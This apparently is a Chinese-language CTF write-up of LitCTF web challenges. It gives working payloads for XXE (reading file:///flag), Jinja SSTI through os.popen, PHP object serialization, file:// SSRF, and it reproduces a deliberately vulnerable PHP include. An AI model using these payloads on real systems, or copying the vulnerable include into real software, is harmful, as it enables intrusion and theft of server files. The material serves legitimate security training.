LitCTF

web 1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

class User {

public $username = 'admin';

public $password = 'secure_password';

}

$a = new User();


echo base64_encode(serialize($a))."\n";

EXX

不是”恶心心” 是 xxe 漏洞

  1. 查看源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
<script type="text/javascript">
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}

var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin.php",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
</script>

输出的是 49 说明存在 XXE 漏洞

  1. payload 抓包改就行
1
2
3
4
5
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<user><username>&xxe;</username><password>&xxe;</password></user>

一个池子

看到有师傅用的插件直接给 WEB 框架什么的查出来了 (Flask 3.03)

SSTI 漏洞

  1. 输入 回显空 ( <—code—> 包裹了 )
  2. 输入 49 回显 49 确定
  3. 构造 payload 没有过滤
1
2
{{''.__class__.__mro__[1].__subclasses__()
[137].__init__.__globals__['popen']('cat /flag').read()}}
  1. ''.__class__: 空字符串的类,即str类。
  2. .__mro__: 类的 MRO(方法解析顺序)列表,这是一个元组,包含了类的继承链。
  3. [1]: 访问 MRO 列表的第二个元素,object类。
  4. __subclasses__(): object类的所有子类。
  5. .__init__: 该类的__init__方法,这是类的构造函数。
  6. .__globals__: __init__方法的全局变量字典。
  7. ['popen']: 访问全局变量字典中的popen键,这是 Python 标准库os模块中的一个函数,用于执行 shell 命令。
  8. ('cat /flag').read(): 使用popen执行命令,并读取其输出。

SAS - Serializing Authentication System

怎么好像改了名字

简单的反序列化 , 题目的意思应该是反序列化函数就是 $user = unserialize(base64($input)) ; 这样

传入$input 就好

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php

class User {

public $username = 'admin';

public $password = 'secure_password';

}

$a = new User();

echo base64_encode(serialize($a))."\n";

浏览器也能套娃

当时看到这个觉得还真是神奇

只能放 url 试了一下百度什么的访问不到 但是放容器 url 可以访问, 也就是访问本地的

payload 上 file 协议访问就好了 同样没有过滤

1
file:///flag

高亮主题(划掉)背景查看器

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
// 文件包含漏洞演示
if (isset($_GET['url'])) {
// 读取并包含用户输入的文件
$file = $_GET['url'];
if (strpos($file, '..') === false) {
include $file;
} else {
echo "Access denied.";
}
} else {
echo "No file specified.";
}